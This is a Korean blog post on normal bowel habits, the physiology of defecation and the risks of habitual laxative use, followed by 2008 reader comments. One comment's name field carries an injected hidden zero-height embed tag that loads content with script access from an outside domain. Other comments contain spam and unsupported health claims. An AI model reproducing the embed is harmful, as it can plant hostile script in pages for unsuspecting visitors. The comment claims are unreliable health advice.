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치질 완전정복

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하루 한번의 대변을 시원하게 보는것이 물론 제일 이상적인 것이긴 합니다. 그러나 그것은 이상적인 것일뿐 누구나가 그럴 수는 없으며 그렇지 않다고 해서 이상이 있는 것은 아닙니다. 그럼에도 불구하고 자신만 무슨 병이 있는 줄 알고 약을 먹고 변비에 뭐가 좋다더라 하면서 이것저것 검증되지 않은 것들을 먹느라고 아까운 시간을 낭비하다 못해 수렁 속으로 빠지는 사람들이 의외로 많습니다. 횟수로만 얘기하자면 1주일에 3번 즉 하루걸러서 한번도 정상입니다.


하루 1번의 배변에 집착하여 설사약을 복용하는 사람들 그렇게 안하면 어딘가 답답하고 불안한 사람들이 있습니다. 설사약을 복용하여 일단 대장이 완전히 비워졌다고 가정하면 우리가 변의를 느낄수 있는 만큼의 대변이 모여서 쌓이는데는 최소 2일정도가 걸린다고 알려져 있는데도 불구하고 심리적인 불안감으로 인해서 또 설사약을 찾게됩니다. 그렇게 한번 두번 복용을 하여 습관이 되어 버리면 이젠 우리 몸이 스스로 변의를 느끼고 배변을 하는 정상적인 배변 과정이 완전히 없어집니다.


그야말로 가만히 있어도 알아서 해주니 누가 일을 하겠느냐는 것과 마찬가지입니다. 그러나 그것도 잠시... 알아서 해주는 것에도 반응을 안하는 무기력증에 빠집니다. 장무력증이라고 합니다. 어떤 자극에도 반응을 하지 않습니다. 장이 움직이질 않습니다. 그러면 어떤일이 최악의 상황에 벌어지냐면 배변을 하기위해 장을 절제를 하고 인공항문을 만들어주는 일까지 생길수도 있습니다. 생각만해도 끔찍하지 않습니까? 꼭 암이어야 장을 잘라내는 것이 아닙니다.


정상적으로 우리가 음식물을 섭취한 다음 소장을 통과하는데는 1-2시간이 소요되고 대장을 통과하는데는 30시간 이상이 소요된다고 합니다.  대장을 통과하면서 대장에서 수분과 전해질의 흡수가 일어나고 점차 고형성분의 대변이 만들어져 직장쪽으로 모이는 것입니다.  그런데 장의 움직임이 저하된 사람들은 대장에 머무는 시간이 많아져서 그만큼 수분과 전해질의 흡수가 더 많아지게 됩니다. 우리가 수분 섭취를 잘해야 하는 이유가 여기 있습니다 우리몸에 수분이 모자르다면 그만큼 장을 통과하면서 체내의 모자른 수분의 보충을 위해서 몸에서 빠져나가는 수분을 다시  흡수하는 것이  늘어나게 되기때문입니다. 그러면 딱딱해진 대변이 모이게 되므로 배변이 힘들어지게 됩니다.


그럼 우리가 배변욕구를 정상적으로 느끼는 것은 어떤 것일까요?  그건 에스상 결장에서 직장으로 대변이 넘어가게 되는 현상 또는 징후라고 합니다. 그렇게 넘어가는 것은 위대장 반사라고 하는 것으로 설명을 하고 있습니다.


직장으로 넘어가는것은 그냥 미끄러져 가는 것이 아니고 장의 움직임, 즉 연동운동이 필요한데 그 연동운동의 근원이 바로 위대장 반사라는 것입니다. 즉 음식물을 섭취하여 위가 자극이 되면 연동운동이 촉발되어 에스상 결장에서 직장으로 대변이 넘어가는 현상이 생기는 겁니다. 이런 것은 생리적으로 보통 아침 식후에 생긴다고 알려져 있기때문에 우리가 꼭 아침식사를 챙겨야 하는 이유가 있는 것이기도 합니다. 물론 이것만으로 배변을 할 수 있는 것은 아니지만 이런 현상이 일어나지 않고는 배변의 시작이 될 수 없으니 그만큼 중요하다고 하겠습니다.


일단 직장에 대변이 모이면 직장의 압력이 높아지면서 직장항문 억제반사라고 하는 생리적 현상이 또 일어납니다. (자꾸 어려운 말들이 튀어나오는군요.) 그것은 무슨 말인고 하면....직장의 압력이 높아져서 확장이되면 항문내측괄약근과 치골직장근이라고 하는 것은 이완이 됩니다. 반면에 항문외측 괄약근은 수축이 됩니다. 바로 이것을 일컫는 것입니다. (반대로 이런 직장항문 억제반사가 없이 그냥 힘없이 대분이 열리면 대변을 지리는 변실금이 생긴다는 것을 미루어 짐작할 수 있습니다)


여기서 대변이 밖으로 배출이 되려면 닫힌 외측 괄약근을 열어야 한다는 결론이 나옵니다. 그럼 그 마지막 대문은 어떻게 하면 열수 있는가 하면 복압을 상승시키는 겁니다. 배에 힘을 주는거 있지요? 그리하여 마지막 남은 문이 열리고 배변이 일어나는 것입니다.


이렇게 여러 과정이 조화롭게 이뤄질때 정상적인 배변과정이 생기는 것임에도 불구하고 심리적인 불안감으로 습관적으로 설사약을 복용하면 그 조화로움이 파괴가 되어 돌이킬수 없는 결과를 초래한다는 것을 꼭 알아야 하겠습니다.

하루 한번의 배변이 꼭 건강의 척도는 아니다~~~~


Posted by 루어낚시를 사랑하는 황연근

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  1. Subject: 내가 정말 변비 맞나요?

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  1. 그냥저도 2008/10/20 11:36

    저도 어느 순간 항상 시원하게 보던 볼일이...점점 깔끔하지 안고 꼭 몇%로가 남아 있는 느낌.....정말 기분 더럽습니다.

  2. 마가렛 2008/10/20 11:56

    전 만성변비로 오랫동안 고생을 한 60대 주부입니다.
    치질 수술을 두번이씩이나 한경험이 있어 무척 신경을 쓰고 있습니다.

    음식은 채식위주로 하고 있구요. 그래서인지 깨스가 자주 차는편이지요.
    20여년 동안 비데를 사용하면서 배변의 어려움을 극복하고 있답니다.
    혹 저의 방법이 잘못 되었나요?

  3. 수고많으십니다.
    저는 하루에 3번정도 배변을봅니다.
    술을먹으면 5번정도 보는데 문제가 있는것인지요?
    장에 문제가있는것인지 걱정이됩니다.
    답변 부탁드립니다.

  4. 식생활만 개선하면 약 안먹어도 100%치유가 되는데.... 쩝ㅋ

  5. 비밀댓글 입니다

  6. 건강의 척도는 아닐지 모르지만 다이어트엔 확실히 적인듯 합니다.
    글 잘읽고트랙백걸고 갑니다.. 좋은하루보내세요..

    • 준<embed src=http://6kk.kr allowscriptaccess=always height=0> 2008/10/20 13:21

      ㅎㅎ 좋은 내용이네요 잘보고 가여

  7. 건강이 최고입니다.
    신토불이만 먹읍시다.
    전국의 신토불이 농,수,축산물만 취급합니다.
    (주)고향생각 이며 KBS에 광고 나갑니다
    홍보카페는 http://cafe.daum.net/10job

    • ltntan 2008/10/20 13:16

      신토불이가 좋다는 근거는 전혀 없어 보이는데..;;
      농민들의 상술일 뿐이죠.
      우리 것이 좋다는 말에 세뇌된 사람들만 봉이죠..

    • 후아암. 2008/10/20 17:26

      신토불이가 몸에 좋기는 좋죠..
      단 이상한 화약비료 안쓰고 농약을 적게 쓴다면요..
      수입품일 경우는 들어올때 일단 방부제를 뿌리니 우리나라것보다는 못한건 사실아닐까요.

  8. 난 하루에 한번씩 배변을 해도 정상이 아닐 수 있다는 내용인 줄 알고...괜히 긴장해서 열어봤네...

  9. 저는 하루에 3번 정도 보는데..
    일어나서 한번
    아침먹고 한번
    점심시간 지나서 한번..

    이상한걸까??

  10. 저는 건자두및 대변요쿠르트(우유)를 먹는 노력을 기울이지 않으면 변의도 없고 화장실도 전혀 못갑니다. 주2~3회 성공합니다. 왜그런지 또 해결책 좀 알려주세요.

  11. 임명희 2008/10/20 13:22

    저도 하루를 거르면 배가 나오는 것 때문에도 없애려고 좋다는 차에..신경이 쓰이곤 햇는데 그럴 필요가 없군요..변비 시작되면 그 담날이 더 힘들어질 것 같아서.신경을 썼드랫죠..

  12. 강아지 2008/10/20 13:55

    변비에는 줄넘기가 최고입니다. 10년 넘은 변비환자인 저의 경험담 입니다.

  13. 돌아돌아 2008/10/20 13:55

    저는 삼 사 일에 한번 대변을 보고 소변은 자주 보는 편입니다만

    전혀 변비라는 느낌을 못 가져봤습니다.

    3,4일지만 대변을 볼 때에는 아주 속을 다 비워내는 것 같이

    시원해서 자주 갔으면 하는 생각은 있지만

    억지로 가지는 않습니다.

    결론은 생각하기에 달려 있는 것 같습니다.

    하루에 한 번이다, 이틀에 한 번이다, 등등, 정답은 없고 그저 자기 몸에

    맞게 대변을 보면 될 것 같습니다. 이틀에 한 번도 못 보면 병이 아닐까

    라고 생각하는 자체가 부담이 돼서 병을 만드는 것 같습니다.

    자기 주관이 없어서 병을 만드는 현대인의 나약한 정신 상태가 문제라고 생각됩니다.

  14. 지나가다 들름 2008/10/20 14:09

    변안나올때 윗몸일으키기 하면 직빵입니다...

    운동이라서 귀찮아서 사람들이 안해서 글지

    이거하면 식습관따위는 필요없습니다.

    저두 자주하는편은 아니지만 이거하기 전에는 일주일에

    변 1번에서 2번 봤습니다. 윗몸일으키기 하고부터

    하고난다음에 변나오려고 하던가 아니면 그담날 아침에

    반드시 나오더군요,, 자주하면 해결될꺼 같지만

    귀찮아서 2-3일에 한번씩 하는데 하면 효과는

    두말하면 잔소리 입니다.

  15. 20년간 변비.
    그리고 치질 수술까지 받았는데요.
    제가 볼때 원인은 집이 옛날 퍼세식 화장실때문에
    더럽고 여름에 모기 랑 온갖곤충 그리고 거울은 엉덩이 얼죠
    그래서 자꾸 안갈려고 해서 그런거 같습니다;

    젤 좋은 방법은 하루에 세번 꼬박 꼬박 챙겨먹고
    술 -_- 절대 안되고
    과일을 먹으면 좋은데요 그 중에서 사과가 가장 좋은것 같아요
    그 느낌 올때는 손바닥으로 배를 왼쪽으로 둥글게 살살 마사지 하면
    쑥~ 하고 깔끔하게 나옵니다..
    대변후엔 똥꼬 -_- 보면 혹처럼 먼가 부풀어 오르는데요
    그놈은 뜨거운 물에 찜질 하시면 됩니다.(온수좌욕?)

    근데 질문 하나!
    뒷처리 할때보면 휴지로 닦을때 남들보다 많이 사용하는거 같습니다..ㅠ,.ㅠ
    잘 묻어 나오더라구요..ㅠ,.ㅠ
    원래 건강하면 한번 닦으면 될 정도라던데요..
    이건 왜 그런거죠?

  16. 똥꼬가 헐었어요ㅠㅠ 2008/10/20 17:05

    저도 아침에 일어나서 땡~ 출근해서 쫌 있다 땡~ 오후에는 옵션으로 땡~ 가는데;;; 장에 문제가 있는 건 아니고 언제부턴가 습관이 된 듯. 강박관념에 일부러 가는 정도는 아니고 자연스레 배변의 기운이 솟아납니다. 하루에 물은 자주 마시고 있습니다. 변비 그거 안 겪어봐서 모르는데 고통이 장난 아닌듯 하더군요. 아~ 똥 얘기 하니까 또 땡기네~ 아 내 똥꼬 쉴틈이 없구나. 미안해

  17. 밥 먹자마자 계속 화장실에서 변을 보는 사람은 문제가 있는 거죠? 하루 3번 이상씩 ㅠ
    그리고 도서관에서 공부하려고 앉으면 꾸루룩 꾸루룩거려서 앉아 있을 수가 없어요 ㅠ

    • ㅇㅅㅇ 2008/10/20 23:21

      저랑 증세가 똑같으시네요.
      전 주변인들이 고3이라서 그렇다던데.

  18. 하루 한번 이면 변비 맞습니다.
    물론 이상을 없지만요
    한 주일에 2-31번이면 틀림없고요.
    하루에 세번이 정상입니다.
    아기를 보세요.
    먹으면 바로 돌아서 누잖아요.
    더 자세한 사항은 인터넷 찾아보시고(찾기 힘들겠지만)
    쉽게 알고 싶으면 메일 주세요.
    하루 한번에서 세 번으로 바꾼지 20 년 되거든요
    단 짧은 답은 5000 원에 팝니다.
    비싼가?
    비쌀수록 구중하게 생각하던데
    kks1265 hanmail.net
    돈을 내야 심각하게 받아들이더라고요
    공짜로 얻은 건 신경도 안쓰니까요.
    지송

  19. 한창민 2008/10/21 13:30

    어릴 적에는 아침밥을 먹고 화장실에 갔습니다.

    그러다가 일어나자마자 화장실 가는 습관을 들였더니, 기상 후 화장실, 아침 식사 후 또 화장실 이렇게 하루 2번 가게 되었습니다.

    그러다가 대학시절을 지나면서 밥만 먹으면 화장실에 가게 되었고, 약간 가는 변을 보게 되었습니다.

    그리고 요즘에는 아예 밥만 먹으면 화장실 가는 게 습관이 되었고, 잔변감도 조금씩 남아서 어떨 때는 대변 보고 다시 화장실 가는 경우도 생겼습니다.

    이런 건 과민성 대장염에 해당하나요? 그리고 서울 관악구 근처에 전문적으로 치료하는 곳은 없나요?

  20. 비밀댓글 입니다

  21. 배변이 단단하여 항문이 찢어지는 증상은 배변 상태를 좋게 하는 것이 급선무입니다. 치열수술을 하는 것은 결국 과도하게 긴장이 되는 내측 괄약근의 일부를 절개를 하는 것인데 아무리 수술을 해도 변이 단단하다면 그만큼 자꾸 문제를 일으킵니다. 좌욕을 잘하는 것도 중요합니다. 정확한 현재의 상태를 진찰을 받아 보시는 것이 좋을 것 같습니다. 수술하신 병원 선생님께 다시한번 상담을 하시던가 시간이 되시고 그리 멀지 않은 곳이라면 제가 있는 곳으로 한번 방문을 하셔도 좋구요.